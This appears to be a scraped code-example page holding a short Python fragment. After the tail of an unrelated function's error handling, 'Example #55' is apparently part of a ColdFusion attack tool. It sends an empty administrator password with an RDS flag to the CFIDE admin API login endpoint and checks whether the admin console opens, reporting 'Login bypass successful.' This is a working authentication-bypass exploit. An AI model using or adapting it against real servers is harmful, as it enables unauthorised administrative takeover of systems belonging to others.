    except exceptions.Timeout:
        utility.Msg("Timeout to {0}:{1}".format(host, port), 'DEBUG')
    except exceptions.ConnectionError, e:
        utility.Msg("Connection error to {0} ({1})".format(host, port, e),
                    'DEBUG')
Example #55
0
    def run(self, fingerengine, fingerprint):

        utility.Msg("Checking RDS...")
        base = "http://{0}:{1}".format(fingerengine.options.ip,
                                       fingerengine.options.port)

        url = base + "/CFIDE/adminapi/administrator.cfc?method=login"

        payload = {'adminpassword': '', 'rdsPasswordAllowed': 1}

        rval = utility.requests_post(url, payload)
        if rval.status_code is 200:
            rval = rval.content
            if "true" in rval:
                rval = utility.requests_get(base +
                                            "/CFIDE/administrator/index.cfm")

                if rval.status_code is 200:
                    utility.Msg("Login bypass successful.", LOG.SUCCESS)
                else:
                    utility.Msg("System not vulnerable.", LOG.ERROR)